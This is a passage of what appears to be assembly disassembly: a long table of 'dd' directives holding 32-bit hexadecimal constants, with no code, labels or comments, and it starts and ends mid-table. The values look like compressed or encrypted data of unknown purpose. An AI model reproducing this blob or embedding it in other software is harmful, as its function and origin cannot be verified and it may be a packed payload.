		dd 0BD162BF6h, 2441DD30h, 0AB593DA4h, 16D57C20h, 41225FCCh
		dd 0ACB90294h, 7850E23Ch
		dd 6FBD9080h, 8A3EE28h,	0F42E864Ah, 0FC3CA623h,	0A7F36F00h
		dd 1F21CA81h, 0CB4828C3h, 10712448h, 29070CD0h,	95019159h
		dd 0EDBE8C0Dh, 846CD483h, 6CA72E0Fh, 5CAC6720h,	0CC94B336h
		dd 0C610DC80h, 13E55FB1h, 222FD4h, 7B7F1DB8h, 0F0065937h
		dd 9750EEF6h, 0DC28B4F8h, 0F4B55224h, 0C6F8A605h, 2C325C81h
		dd 0C9BAB183h, 0A91DF9EAh, 5944B8DAh, 60D2E32Fh, 5ECC30CDh
		dd 0CE3F3316h, 2A92C38h, 0AC225ED5h, 0CCF18EA1h, 92060B00h
		dd 2EB8EF2Ah, 0DF089Ch,	0C516A176h, 0D502499Ah,	0DD3B7F77h
		dd 7150D98Fh, 2E06180Fh, 199D1A8Ah, 3846E86Ah, 3D43D8Ch
		dd 0D7CBC9CFh, 9890D40Dh, 14798CAh, 325A04B6h, 0D4583D1Ch
		dd 23BDCF3h, 0D85E8293h, 4B3367D7h, 2905F0C4h, 713C9B96h
		dd 3726F0CBh, 87BFD01Ch, 40571CCBh, 5D3D1238h, 83180CC6h
		dd 6C85D1A8h, 0A3576326h, 0ADA2E300h, 14EE432h,	0D6E6C386h
		dd 0D92EB83Fh, 8234621Ah, 10678459h, 0D7135ED8h, 3C8B6DD1h
		dd 5E61FD00h, 539B615h,	1E70F802h, 71B7106Fh, 18174968h
		dd 9FC311h, 0B31FB275h,	7254B53h, 66288023h, 1C6FD5FFh
		dd 8B9B6BDEh, 0F509544Fh, 7A00EC52h, 0D25632EBh, 0A97A721h
		dd 0D690406h, 0F4960020h, 0C7515A48h, 6A384000h, 572DAF6h
		dd 0BA80B4D7h, 0B6029C58h, 0D9776461h, 0D8121C44h, 0AC02633Ah
		dd 7BAF0882h, 4D7E70BCh, 18BBB92Dh, 0C0FB0D68h,	19F053C1h
		dd 51F035D6h, 0F5393E03h, 0C01CC656h, 0B04D2912h, 2670F677h
		dd 0AF5CBD02h, 17C41C98h, 0F4DFAC24h, 0AC7627h,	0D583F953h
		dd 0CC9668B6h, 5BE59C60h, 0C4AB2161h, 3789C698h, 36E50E94h
		dd 82806362h, 0FD19EC3Dh, 0CD3E6009h, 0D58A40Eh, 0F5BD2840h
		dd 8207813Bh, 0E0BA4184h, 0EABB0A0h, 0F41B17C7h, 0EA3CCCDFh
		dd 0D3E41305h, 608C34F1h, 0D8FB0228h, 3B6C1F49h, 0E4EEB484h
		dd 940107D8h, 44805392h, 0D0415C60h, 81804550h,	0AAC8FDD1h
		dd 8D0E10FEh, 40C12D1Eh, 31B4A8E2h, 0EF05001Bh,	4852B1CDh
		dd 96793395h, 0ABFE096h, 8C2294AAh, 20608489h, 408B1554h
		dd 7B8700CCh, 610AB8B6h, 9A25B4ACh, 8CDC819Bh, 1201FC13h
		dd 6854CA5Dh, 0C2084E04h, 805220E6h, 0CF850E1h,	83D0092Ch
		dd 5042F9B6h, 9CE49065h, 9B256660h, 2E802301h, 0B724D29Dh
		dd 39732478h, 15F3EB1h,	44ACD500h, 98012B26h, 9E1FBB0Ch
		dd 569D4h, 42DAAE39h, 7261029Ch, 0FF0250BEh, 0C7A9F0D7h
		dd 60FB44DCh, 7FDD86C1h, 989729D1h, 2B7342A0h, 0A41C6846h
		dd 90ADD8E5h, 42214DC8h, 63E810B5h, 74EE7604h, 984C8444h
		dd 0B8B9C240h, 2F1898D1h, 74E57E00h, 2B80A082h,	1E0606C7h
		dd 7064EC7Bh, 2A07147Fh, 8DDF29AAh, 0B4E4FD25h,	47910ECBh
		dd 5DE5161Fh, 96980FA9h, 0B2665B64h, 0F69AF1DCh, 21001B0Ch
		dd 0E023277h, 97AA6248h, 0D4AE2439h, 0C65A1146h, 5B87D462h
		dd 8CE586Ch, 2ACD3205h,	2CA58CCFh, 43C842FAh, 0D9C1A200h
		dd 191BD9D8h, 0C47AF20h, 0DCF02C53h, 589EE322h,	233AA964h
		dd 51060C14h, 0CC01F811h, 742DE726h, 0EC57E6C6h, 0D2611DC0h
		dd 0B9E40B1Fh, 9089A70Bh, 0D6D73010h, 0FF63470Eh, 0BC00D69Ch
		dd 0A274D9AFh, 4338A2B6h, 607EB840h, 225E7775h,	0B100420Fh
		dd 18F99E24h, 39F57D9Fh, 0C2843E6Dh, 0F38E0C2Ah, 0B7410984h
		dd 0D6C4B062h, 607108E5h, 2D58C5FBh, 77E500AEh,	0F25B0985h
		dd 3C26653Dh, 17EB30C3h, 0A1C31FB0h, 5F356980h,	2790A195h
		dd 3CA00D7Bh, 0F44BF081h, 92322600h, 0E94DCA04h, 63D70156h
		dd 2A6CA6E8h, 105C69BEh, 0A292ED6Fh, 309CB208h,	0EE5C51C2h
		dd 0EC7124CEh, 0AED09h,	898B23E0h, 98CB5422h, 0D5488C61h
		dd 0E36015CCh, 80C88898h, 0AFE59132h, 2C1CC3A5h, 18802A71h
		dd 34D08087h, 0B0CA61A7h, 0DCD410C5h, 9503287Dh, 0ECD36B3Fh
		dd 84A8E0AFh, 6D2001D1h, 0C07AFAE2h, 0FDF82050h, 85396500h
		dd 93E1CFD9h, 0A8CD6E9Dh, 0C4047788h, 0B0A0552Fh, 0F0B6F868h
		dd 0DFA71324h, 100800C8h, 78459565h, 2280149Ch,	0AF36C18Dh
		dd 92530168h, 6E0FDECFh, 0F31862F5h, 4230F498h,	100E1DAh
		dd 87D59B93h, 44506A04h, 7E008139h, 0B98E3CA1h,	38952A8h
		dd 0EBF02AEAh, 3E2DB61Ch, 0E3542061h, 0A0904B34h, 9F67394h
		dd 12CBCEEh, 0A391F81Dh, 9BD6180h, 816E9D2h, 4404BC0Ch
		dd 5F09F3A3h, 13330482h, 0A8A48CD0h, 63D1104h, 20B6C7A1h
		dd 703ADBF0h, 0D26CAC0Ah, 0DE249Dh, 1B1572C0h, 2724D077h
		dd 0B8042092h, 0E2DDA914h, 0B8668483h, 48E77678h, 230400C6h
		dd 8711C41Bh, 51F8D60Ch, 19447902h, 55FA3C9Bh, 0D05550A0h
		dd 0F6F6E667h, 0C165D109h, 9D88422h, 27A8A541h,	94502FA1h
		dd 40543AB4h, 3DCC0098h, 3FB490D4h, 60945BFAh, 0D5F3F984h
		dd 0F4AC9C14h, 6B6E008Ch, 5D355A2Bh, 8F5F8CD2h,	0C9FF2C00h
		dd 56094Dh, 10C61BA9h, 0B8D7F82Dh, 8129B425h, 561CE7F4h
		dd 0B1CBD4h, 0C431DD3Dh, 20DF9B1Dh, 204548h, 87E882BDh
		dd 16F1E4A6h, 7A1B014h,	51705F5Dh, 2E1934E6h, 44B8E002h
		dd 0E0B0AE2Ch, 0BDC0A0E9h, 0A33F24F5h, 30150966h, 0EA684430h
		dd 982FDB17h, 730BB8CBh, 73899DD0h, 0E416B402h,	949214E8h
		dd 0E7E65502h, 89B73E06h, 95380B84h, 82FB9194h,	0AF5A83BBh
		dd 552320F4h, 1E30C8D1h, 40973E08h, 0CC2F59A8h,	0DA00F3F2h
		dd 0A1A5027h, 58D660EDh, 0F1B808B6h, 0B516008Ch, 874C0E31h
		dd 9400DA3Eh, 0CA21CEB1h, 41DD704h, 2CE7A854h, 155890FFh
		dd 0B99D51D0h, 0D500A144h, 114B3C39h, 3DA41CC0h, 649649F9h
		dd 20BC330Bh, 58FAC480h, 0AB275DCDh, 0A886675h,	3DD593BEh
		dd 4ED97020h, 0F069BE43h, 0C6580451h, 0EA008664h, 0FF5F36B2h
		dd 303DE7CFh, 0F771C108h, 310117FEh, 0C3688E5Ch, 198066C0h
		dd 0A51E54DEh, 0CCB8A256h, 0E20E47E8h, 0ACE405F9h, 4A45F839h
		dd 6F64D077h, 0E800B6B8h, 5D95FBDFh, 9C16AF9Ah,	0B6F7922Ch
		dd 0AF2DE0CCh, 409D0071h, 0CBDA223Ah, 1B2C1DF8h, 769C2C59h
		dd 131E5F4Bh, 0E453FB7Ch, 0C4A4CA57h, 0E3064F4h, 0FD00BB7Eh
		dd 2F93898Ah, 16C9CB20h, 20CA2B42h, 734D2D4h, 610843F7h
		dd 29278BF8h, 490864B1h, 5425009Ch, 1734D1EDh, 530E565h
		dd 0B00E4F2h, 0C4CE0702h, 131D1665h, 2D8009A4h,	0FF0DD24Ch
		dd 9E6C00F4h, 7F13389h,	1800FA55h, 77B291B1h, 771795B9h
		dd 8BD634Ch, 20055488h,	0C8B299D2h, 31515E80h, 0F81200B0h
		dd 0DB4ADE52h, 48C31048h, 80E0C488h, 542E1Eh, 97EC60Ch
		dd 3778A374h, 0B04B893Ah, 0F2115086h, 0BA193B4Ah, 4873F599h
		dd 9B14E04Ch, 8485128h,	0F7ECE718h, 71A5530h, 80A44776h
		dd 8388317Eh, 0F108988Eh, 0E7F3421h, 3EA51947h,	4C7A6743h
		dd 9AC79900h, 1A66F7FEh, 0B3A90ED6h, 0A7004329h, 4DD25B10h
		dd 723829C0h, 7D06848h,	0CFF65D75h, 348C7EC5h, 0AA009221h
		dd 544A023Bh, 77DA416Bh, 1A774F8h, 53243DE0h, 0C94D1913h
		dd 7A5C48ABh, 6D784708h, 4FF0C49Eh, 3E472040h, 3CACF22Ah
		dd 80D06812h, 56D40009h, 0AF530C4Eh, 19C3EDFAh,	153B4BDBh
		dd 0E01CF090h, 0D9067E01h, 0C04263D2h, 0C9F0F7C6h, 5EA61B1Ch
		dd 2839090Ch, 0A39A1349h, 0D4E70508h, 361D7A9h,	490038F1h
		dd 0E6042887h, 21C813Dh, 8C9A2C4Fh, 4481A06h, 3B003411h
		dd 0F1DE0E42h, 7B780C22h, 0E6A31464h, 0E678B014h, 52861818h
		dd 0D70A101Bh, 60C112F0h
		dd 0D39710A6h, 44EB84Ch, 0D5D05C49h, 203C3268h,	5A3BE68Eh
		dd 0F8AFB300h, 0FE20F5EFh, 9C1A516Dh, 0EB2DDD0h, 7A530D1Fh
		dd 52CE0600h, 6B03B78Ah, 0CCF9551Ah, 9FB909C6h,	78302A89h
		dd 8011B55Ch, 0BF88BDB9h, 0B2A4D180h, 0FCA29BFEh, 10A90903h
		dd 0C0012189h, 0DF8627FFh, 4E542800h, 0FE003ACh, 6E1A2880h
		dd 105028C0h, 2A54678h,	0D0224948h, 113B31C5h, 8DD8E058h
		dd 110117AEh, 35820BCCh, 0EBAFAD00h, 29CE87CDh,	0DA9CE1CFh
		dd 0A3AB5D1h, 5E4BF11h,	24899B12h, 9FD84380h, 0B1AE8408h
		dd 670035F0h, 4CFE730Eh, 630A046Dh, 0FB200834h,	24BE2000h
		dd 2369BF0Eh, 179B03CAh, 811F29EBh, 0DFB64104h,	0A1C0ECF3h
		dd 2765878h, 0B2AD8EC1h, 0DC446679h, 7B02D646h,	0A66D7347h
		dd 3F101D31h, 0AB00477Ch, 4610C549h, 26540C5Ah,	30081707h
		dd 7A52B2C8h, 0AC13CD74h, 0C2F4D10h, 5D0EEF23h,	64689EFEh
		dd 7203827Dh, 648FB852h, 60F782B1h, 6071C5EEh, 7B69C83Fh
		dd 0FCED069Ah, 0B6043B11h, 6E09234Ch, 17794097h, 89E291F4h
		dd 0C97B8003h, 24C3FBDAh, 24F05182h, 803111C8h,	0B979B777h
		dd 22144385h, 5FFC00EAh, 8146C9B5h, 0B630D3FBh,	21A0482Bh
		dd 8F71C0F9h, 1911B4Ah,	86999000h, 6239FF43h, 0C0DD9004h
		dd 258BBA69h, 0F01C87C4h, 6500DA69h, 7472785Ah,	8FC92438h
		dd 8B465E9Ch, 0DBF2CB00h, 0F12B491Bh, 1F206F0Ah, 62829471h
		dd 41B4E0A7h, 5024E958h, 2B048C80h, 2CFF4F0Eh, 21046663h
		dd 8C0E38CAh, 0CD2B0F80h, 74850789h, 726DCC83h,	848237FEh
		dd 30C179FAh, 80D058E1h, 0AC924739h, 3A70208Eh,	0B2470189h
		dd 67D2C708h, 0FA198074h, 451D7381h, 120A004Bh,	237C9DC9h
		dd 0C49AD725h, 147B1800h, 48AD1769h, 57FC71h, 53B2F422h
		dd 0CB989973h, 7813A000h, 2EC36F8Dh, 0EEF8A590h, 8C708371h
		dd 22B8E0D0h, 5A4D00B0h, 15C9646Dh, 0A22960EAh,	7B00EC27h
		dd 20C10B8Dh, 97211C39h, 1F8B7BBAh, 5480A5F0h, 9C5ADC96h
		dd 6200E07Bh, 0C4149A7Ah, 600A20E1h, 7F2AF9FEh,	5C073A23h
		dd 0C9997181h, 0E241E560h, 0FABE0BBDh, 5421457Dh, 35E12E4h
		dd 19C28023h, 462E0A6Bh, 74F01A67h, 0D20C4E46h,	893E8A7Dh
		dd 2943056h, 0B97AB772h, 1089316Dh, 2B55ADBh, 0F9D056F6h
		dd 9080E45Bh, 0DEEEAD1Fh, 898EA80Ah, 0A3402825h, 48B975B2h
		dd 0C8E368A5h, 0BFD7B2A8h, 44328F2Ch, 9FD40305h, 1410242Eh
		dd 276CB55h, 13A61E4h, 0D266C57Bh, 0A9DC9C82h, 8719F160h
		dd 279230C0h, 2687806h,	0C9E2F938h, 0CCA0E51Eh,	61ABCCF3h
		dd 0B603FA0Eh, 0B7EE0EDh, 12A3F294h, 33051FA0h,	0B782F64Ch
		dd 354444C7h, 0A7523760h, 0F3482000h, 0F0C81D4Fh, 8F7C0710h
		dd 5F1821h, 0F1BEBB3h, 0FE720102h, 18ED181h, 5088B84Ah
		dd 229168E8h, 4D487773h, 8C26BCC8h, 0E0CDAB39h,	1944B699h
		dd 331008Fh, 0CF670553h, 0EEFEEBDCh, 18A73092h,	5C608B44h
		dd 0B7003DDDh, 0E9F7E8CFh, 60B1C74Bh, 0BB1389F3h, 34B81A76h
		dd 0BC46872Eh, 0A001711h, 4D047A39h, 0E100CA98h, 614947F6h
		dd 0B8DFAB92h, 0CBD126B5h, 33D1384h, 0FB8B81B0h, 0EA11E0AFh
		dd 8A5301D2h, 33BCA25Ch, 8C0367A8h, 0EC2BAC0Ch,	0D58C12h
		dd 0E8CBCFDDh, 3B18208Eh, 105CB459h, 0C490199Dh, 38CF0B8h
		dd 0D95FFDFFh, 92A425ADh, 60CCC4FCh, 46562894h,	0FCE600BCh
		dd 31D6EEE1h, 24C77184h, 801C561Eh, 7FA015E7h, 0FF006F16h
		dd 0C349FC98h, 59A9022Ch, 0C60120E4h, 0C7F690F7h, 7179812Fh
		dd 10B179FEh, 0BDE5020h, 0E0FA9B6h, 5BC3DC82h, 2428868Ch
		dd 81A8CB48h, 44DED56Dh, 2D19C88Ch, 0E6000A81h,	20EE2452h
		dd 267451C5h, 0C0647E08h, 0FE7D0E5Dh, 0E0A45C5Ch, 1D0E22BCh
		dd 2CB6AE69h, 5029D0Ch,	15C1DFAh, 76D3C1A0h, 7DE1005Bh
		dd 0A45F5030h, 8E4C8C24h, 8DB9151Ch, 1FE29EA4h,	0B296D7h
		dd 0F38BDB11h, 6D2C315Ch, 4674DCDAh, 97A3008Eh,	2B2D3B4Fh
		dd 0D575262Ah, 236045ECh, 8FECFE9Ch, 0C0E2C824h, 0C8649946h
		dd 2A156FFEh, 0A8681Fh,	9906025h, 1F61A0Eh, 0AC279F34h
		dd 0E4227B15h, 1F3F529Bh, 6E681266h, 0D9C5ECD3h, 6B00E4BBh
		dd 11091F6Fh, 476D09FBh, 60276444h, 1F08B042h, 474A1BDAh
		dd 6B629E20h, 90E56818h, 0E4F0A27Eh, 8E46AC98h,	63487D01h
		dd 0C5D8DD0h, 0D5938840h, 0E0A93B00h, 996C42B7h, 7E4307CAh
		dd 0C7D62F4Ch, 1C1F55h,	0FBF22128h, 34B39019h, 5ACFD70h
		dd 0BED57146h, 0FE00456h, 5DDC117Eh, 0C0ACA0h, 3253B354h
		dd 569AC57Ah, 0F066EB2Ch, 69848291h, 7CC4810Eh,	308C236Eh
		dd 2E902164h, 9DFF000Eh, 0A4A83FD0h, 0D0900AEAh, 0E1C8C200h
		dd 0DC75B96h, 78232E9Ah, 812440h, 792B9180h, 7B1EC3E0h
		dd 66DB7D3Bh, 0AFF1F890h, 1391E0A0h, 825ECFF9h,	0D8459FECh
		dd 18FA52E2h, 0D000D9E9h, 5EED37BEh, 7A6E86DAh,	73E819EBh
		dd 3C605808h, 48C2DE18h, 319DD05Dh, 4B911043h, 0C07D4C49h
		dd 1D08D611h, 0E01DCD77h, 12AF52C1h, 58206C0Ch,	1ADA0875h
		dd 7980F822h, 40C14644h, 9BEB5CA2h, 1BFECA00h, 1522F5F1h
		dd 0F4C4D6F3h, 7A8DD900h, 8AFD46F2h, 7DB9127Bh,	0B3900516h
		dd 0D8C4C90Dh, 4EE80C91h, 6D093498h, 46682DDh, 0BCF21310h
		dd 0DAB5771Dh, 0EC47A0AEh, 0A2608E44h, 81016515h, 97C2B14h
		dd 6C328FFEh, 0F030BCF2h, 0F9C0079h, 0E528AACEh, 0CB1810C4h
		dd 0DBA83CB5h, 2C2D4F64h, 0CB404684h, 5C389EA7h, 2D3D3646h
		dd 6E590680h, 0FF01561Dh, 5352CF13h, 0F2254045h, 3C806CD1h
		dd 0A62D102Ch, 41112417h, 772F8B80h, 0C730EBD9h, 177BC105h
		dd 0D89358CFh, 167AC45Dh, 814DDACDh, 0D2B9B204h, 0E410CF07h
		dd 96190389h, 807F11A4h, 0FE800E5Ch, 1D208C24h,	25C700FBh
		dd 297D680Eh, 109DF06h,	0A77971h, 64FF46A0h, 0B159637Fh
		dd 0A1012127h, 29F351B3h, 0A0FC44D7h, 0BDD0012h, 68ABC770h
		dd 0D22752CEh, 2FC091B1h, 72E13983h, 511F8ACDh,	0B3C2AFB2h
		dd 42DB09D3h, 18A42034h, 0F33F1F1Dh, 0CED5F984h, 0CA811D50h
		dd 4AC2FD70h, 43726436h, 47790222h, 59966D75h, 824160F0h
		dd 9A5C6847h, 756516FFh, 213210C8h, 40B12DFh, 4A20801Bh
		dd 703F4A3h, 0EF24EEB1h, 9BFD40B0h, 0AF1D9E88h,	7FA0275h
		dd 0EDC93F79h, 66D2AAB0h, 0A44D0008h, 0EFA7DF7Fh, 0B40703FDh
		dd 5AE873D9h, 8B76A320h, 0ACFC0C93h, 0B120EA98h, 3F9B4E07h
		dd 0DEA77507h, 0DFC06DD1h, 80FE47D0h, 4000B337h, 0E9AF8AA3h
		dd 0F3B74A9h, 4545D09h,	0FFAEE060h, 570E216Eh, 6011FDE8h
		dd 6A37FE41h, 0FAC1C1CBh, 8C46156Dh, 79F09920h,	7820077h
		dd 0A094F2C2h, 933B39EBh, 0AC96006Ah, 0C99C7445h, 0E9B903FBh
		dd 0F7B5F4E1h, 3B733906h, 34805A61h, 40C92D1Ah,	580C6B2Ch
		dd 0B0005E1h, 270AD884h, 0CA7AC9h, 0EAA81B7Fh, 0DE06D9E7h
		dd 0B099FC02h, 0A0FF2639h, 0AB05E3B0h, 1479039Bh, 6C82024Ah
		dd 21E60833h, 0A6AA90BEh, 270B001Ch, 8F7DE07Eh,	8E0C32F7h
		dd 29F0249Dh, 6EC80383h, 23983B79h, 0E3BBC0FDh,	5D009134h
		dd 29B2BD11h, 0FA247F8Eh, 0B6260071h, 0A39FA9DCh, 0A60E9C8Ch
		dd 75160302h, 0DD3FA0h,	0AE8783F3h, 667CEA4Ch, 21F908BEh
		dd 0F300BF73h, 9571D88h, 1583621h, 0D99CCA19h, 0D0D044B5h
		dd 792A5BAEh, 0A200DCF1h, 634D837h, 0C3F56938h,	401AB249h
		dd 1D00C078h, 3E2FE7F4h
		dd 6D9FB0h, 624DC522h, 7EA07A09h, 50A40728h, 0FB44A300h
		dd 0B33F8A05h, 0F62724D9h, 1A3C0038h, 9A3D88ACh, 1597BC0Fh
		dd 1B683820h, 8F5188B3h, 0B9A34100h, 31FFE061h,	60E2742Ah
		dd 87702148h, 59EED441h, 5B057FFAh, 402A706h, 0F3A89060h
		dd 0A6872382h, 0B0DD453Dh, 7AEC6D8h, 9C8DC343h,	8141378h
		dd 5EFA2100h, 0ECE99288h, 0B4A602C4h, 0FDF298A2h, 0E0DB3703h
		dd 7830490h, 101C8A2Dh,	9A8D2124h, 9180C2A1h, 0D7A93344h
		dd 5D1237EAh, 440F625h,	993942E1h, 57ECEDh, 0F854B8E3h
		dd 7B08A9D3h, 15FFF4A0h, 0DBE90086h, 7C06B43Ah,	0D660BB9Fh
		dd 188B2308h, 0E1701D9Bh, 310740DBh, 0F14769DEh, 0F996E300h
		dd 54D36B1Ah, 95CD0188h, 0E61EBD5Fh, 0E16FD0C7h, 0ED18307Ch
		dd 3D184ED1h, 0C88D00B6h, 99F09A98h, 70678940h,	88409C48h
		dd 0E0E03B26h, 783A609Fh, 0B75799FBh, 0B687010Fh, 0FD7F2E1Ch
		dd 0C2218D18h, 0D5540061h, 8976CFB9h, 807FBC22h, 0EA46F601h
		dd 94CE1E67h, 8A86C0B9h, 0D13EA0A8h, 0DBE35A02h, 91D6B430h
		dd 7A132178h, 0E36611FFh, 0C08240D5h, 8260D262h, 25F8C879h
		dd 9A80005Eh, 2A5FE3EBh, 59000840h, 98829613h, 601B736Ch
		dd 3178309Bh, 0E103ECFEh, 99975ECCh, 6E0830DCh,	0FDC95A21h
		dd 0E7801300h, 0D87D4B90h, 0C12900B3h, 0BE9154F3h, 15001D93h
		dd 0BF5D890Fh, 28C79871h, 72B0772Dh, 0E69CA1BCh, 54086718h
		dd 709701B5h, 54046FDCh, 81C1E534h, 0B7A458C0h,	629D1842h
		dd 9712E0FDh, 0AB3A84A0h, 645FB11Eh, 3EFCA440h,	0E8FF5C0Ah
		dd 0CA21C0ACh, 0E0015FA9h, 0E6C70F00h, 0B4426BC4h, 0F1713021h
		dd 2AB343C0h, 9905131Ah, 11901D80h, 67D2816Ch, 0D0513B1Ch
		dd 81A193C3h, 18A77158h, 0B1F0EE0h, 0CC5EC18Bh,	0CD483B59h
		dd 5FB6048Ch, 388C1D99h, 5FAE06D1h, 0A91F7DB1h,	6216C57Ch
		dd 0F21E73F3h, 1827E692h, 25300217h, 7ACFB8C1h,	0F0B01431h
		dd 0A2E86019h, 2821008Ch, 354C2395h, 51E71F67h,	1091138Ch
		dd 0E65CC8F9h, 6C1B0AA9h, 4F09A58h, 8E311E90h, 0C0F288B4h
		dd 486CFF6Ah, 3F590E02h, 0A34F9C98h, 28A0C8h, 255C6181h
		dd 0F11A9916h, 24A2D500h, 8BDFBC6Ah, 9823FAEDh,	24F8E004h
		dd 12607C5Dh, 6A0808ECh, 0E2FE33C1h, 7018DCFDh,	26CB5888h
		dd 0B92AFDh, 5A673615h,	61677D0Dh, 6273CC21h, 0F1C5C889h
		dd 0E7970931h, 1437FCFDh, 4CCE2703h, 67580D83h,	20E9651Dh
		dd 48CAF28h, 0B43BDBE8h, 71380Eh, 934FDBE0h, 34A1DE13h
		dd 9CB019C0h, 971FCCh, 0B65EC460h, 310267E3h, 464D21C1h
		dd 0A420FE05h, 76A130B7h, 62729A19h, 4261F1CFh,	60DE0515h
		dd 0AB2C0Fh, 0B72FCE1Ch, 1F75D807h, 0E3EAB4A0h,	8A95580Ah
		dd 0ED405CAAh, 46B436DBh, 0F42622E6h, 0F1DB00E5h, 1B59E843h
		dd 0CF038FF7h, 0D141B4A9h, 0D79800FFh, 71132E5Dh, 1F00FE06h
		dd 85B62230h, 48A81DDFh, 27003CBEh, 0B58DA50Ah,	6D18E34Ah
		dd 0BB18AF84h, 0FC153249h, 0B4902848h, 0B3885B1Ch, 0F6FD3049h
		dd 381D1720h, 1338B664h, 1500C8h, 0DD61AF82h, 959AC074h
		dd 203EE9FFh, 3A283834h, 0BE003041h, 17B25F5Ah,	0CCC7440Dh
		dd 0E060B548h, 52D8E880h, 2EF29094h, 1B4C0C30h,	48E48526h
		dd 0A2C055D8h, 43A60C9h, 214E0294h, 0BC33E189h,	1B657F8h
		dd 8C228F46h, 5460DD00h, 40298145h, 0F81F0A12h,	20E87365h
		dd 8864F094h, 7D221E4Bh, 400D5081h, 6C480690h, 304B361Ch
		dd 5B57C44h, 0A205E58Dh, 0A4A848D8h, 10E6A080h,	1A7DF9h
		dd 0F04734A8h, 98028B1Fh, 73197500h, 0B9D80121h, 4388C41Bh
		dd 0B844931Dh, 8E90B691h, 58E09849h, 0FC9C93C9h, 0B7E93939h
		dd 14120C5Dh, 0D41C10D5h, 17299B05h, 8B9803CBh,	39008A01h
		dd 30F20931h, 3A196C2Bh, 1D0689AAh, 402A7C6Fh, 91264921h
		dd 55E306EBh, 3FD8BCD4h, 0F02819B7h, 4634908Ch,	0FE34016Fh
		dd 5F24E1E9h, 5D88740Ch, 0F2FD0ECCh, 0D560EB7Ch, 52117133h
		dd 0DC55E118h, 895F161h, 0D6CD149Ch, 0C29C6111h, 14E1EBFEh
		dd 0A3177531h, 17A0FE32h, 36F07741h, 0C5DE2400h, 5C3C199Eh
		dd 2F712C27h, 0AE467410h, 0F5550E00h, 61FC310Dh, 912C1505h
		dd 0AC408901h, 4B1ECBEDh, 226E007Ch, 5A5BE506h,	0CA007AF2h
		dd 0F8FD0D6Bh, 3C0E29h,	9F59502Eh, 4A88FC4Eh, 0AE462098h
		dd 21E21C5Ch, 2B6F330h,	0F807E26Dh, 41430Dh, 2A58820Ah
		dd 42E92E60h, 440467BCh, 46BE606Dh, 65B03004h, 0D51C306Ch
		dd 0C57DD24h, 96B3CB02h, 0DBBC417Ch, 54046218h,	0B77F01B0h
		dd 0DB22F032h, 9A85016Ah, 0B5023033h, 0F1C94112h, 0A7F0B021h
		dd 8804CE04h, 0B668C02Eh, 3C9AB149h, 0A2ECC4A0h, 31164B80h
		dd 0DF188651h, 0F091A899h, 842D2E10h, 1960013Dh, 0C3621E8Dh
		dd 82A24801h, 6B8783CBh, 1A7FA3FCh, 98D9DF36h, 0A6E494C7h
		dd 6307DD60h, 172A5B09h, 80E82F87h, 0E5199994h,	0E8695973h
		dd 4A51C009h, 0F4C708BAh, 33607344h, 0A87FCEC5h, 4E3FCD00h
		dd 21C87849h, 0C6E15C07h, 64399444h, 60606075h,	10E8FE35h
		dd 0C85F2CE1h, 0CD00BB6Fh, 951E38FDh, 9F5C9871h, 0A7E082D0h
		dd 0F9686BE9h, 547449E5h, 6832E78Ah, 31CDC406h,	421F1830h
		dd 66C00F3Ch, 541B867Fh, 68A85910h, 4B0ACB58h, 5C50A6A4h
		dd 473B7246h, 0F6CA7580h, 8DB6B709h, 0D3B29907h, 87BBD73Dh
		dd 8F501CAAh, 18012602h, 0B81D9DA8h, 0AF33CF98h, 0C88B20BCh
		dd 90064960h, 20676AE4h, 0B63D0100h, 221DE582h,	60123938h
		dd 8E4866E1h, 16627DE7h, 4AE98CAh, 1E9A54D4h, 90001A1Eh
		dd 38ABE06Bh, 0B6EB099Ch, 18101408h, 0B500D47Ah, 191001E6h
		dd 4677B7h, 43A966C0h, 0D3A57B73h, 380AFC5Ch, 0A422A8EDh
		dd 51A09A0Ch, 0A49CC16Bh, 21F8E0C8h, 0E44A4455h, 6380DA11h
		dd 7701B154h, 0D8F3448Ch, 2E546B00h, 0A09750A4h, 883C4843h
		dd 0A29D9884h, 2B0902D0h, 623722D5h, 9B300078h,	0ED6D465Dh
		dd 8448BC21h, 709D8ABFh, 50876F11h, 8F7D10B3h, 0A80D93E3h
		dd 60CAEF19h, 0E9C396E0h, 999E5041h, 8EC49013h,	0C16CC878h
		dd 29066708h, 921318D0h, 249D861h, 0F84EB971h, 0B4946AA4h
		dd 0F77154B1h, 0A005918h, 0E330BB2Fh, 51CC467h,	9080BC3Dh
		dd 0FD9481F5h, 0EE6D50Dh, 4AC07188h, 0A929DBh, 9192344h
		dd 42CC4668h, 3F370A02h, 0CCBEB998h, 93E4889Ch,	4AB738EDh
		dd 5138152Ch, 2DC36ABh,	0B437DBECh, 608451EEh, 3FDBE47Dh
		dd 7BDF2D00h, 42F9197Eh, 40144BB4h, 99E8A118h, 0DF0072D4h
		dd 0F2E3ABEBh, 2BC4D3Ch, 657B3374h, 0FC600B89h,	48B98A81h
		dd 3270BB00h, 93CB040Fh, 5E442ECCh, 7D002746h, 250D207Eh
		dd 0EC01DC6Ah, 0CD1D885Ah, 0EC443151h, 7EE47487h, 97E31B01h
		dd 0AA99D06Bh, 0C0C92C00h, 0DD2139EFh, 0A8A0D08Fh, 53EB0A02h
		dd 0B0C6A804h, 2C75CD10h, 0E70D061Fh, 70BD640Bh, 91A7F300h
		dd 5843121Fh, 8B8B507Ch, 7311D89Dh, 85DDCD80h, 0E7062884h
		dd 63724707h, 20400021h, 0C4919E35h, 0C50798EAh, 0D89FD56Fh
		dd 3006BEE3h, 1F8E079h,	26EF10CCh, 1C6704D0h, 88128B37h
		dd 9021240h, 0ED38A0C2h, 90E04601h, 0B8C959B8h,	655FB283h
		dd 0A331ACCAh, 5FAAD510h, 0C0190B00h, 0F51DE0A0h, 0B42D5109h
		dd 1872E2h, 0BC5362EEh,	72AD918Eh, 0ED124E04h, 0A8D02A69h
		dd 31D51F1Ch, 3B10297Dh, 9B79D4B6h, 6C49C0C1h, 3021BF94h
		dd 0C2297E4h, 1784E5A1h
		dd 0BD264620h, 598244E3h, 58D549B4h, 9C032668h,	84B54088h
		dd 0A8C45A67h, 0CCCF899Dh, 0D5C0F6C8h, 3F1278h,	1941599h
		dd 0DA0D5267h, 0B45C8C98h, 0C00605DCh, 60891DB5h, 83E46891h
		dd 4CB35465h, 0DEE2003Ch, 404861C1h, 0EF221E96h, 88D5CF2Ch
		dd 59CD8A82h, 60608C2Eh, 5D8ACCCh, 1D985FB5h, 0E90CE84h
		dd 805FADD6h, 0DD7AD763h, 0C04F840h, 0E53EECB0h, 28A4CEB1h
		dd 665FB31Eh, 0A48BB456h, 5FABD401h, 0C85957EBh, 0B1244EA8h
